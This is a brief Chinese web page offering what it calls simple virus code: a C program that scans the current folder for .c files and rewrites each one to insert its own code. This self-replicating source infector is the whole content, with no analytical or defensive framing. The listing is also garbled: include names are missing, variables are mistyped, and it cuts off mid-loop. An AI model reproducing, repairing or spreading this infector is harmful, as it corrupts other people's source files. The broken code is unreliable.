病毒代码
的有关信息介绍如下:这是一个比较简单的 ,勉强算是病毒代码。
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf;
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include\n",out);
fputs("#include\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j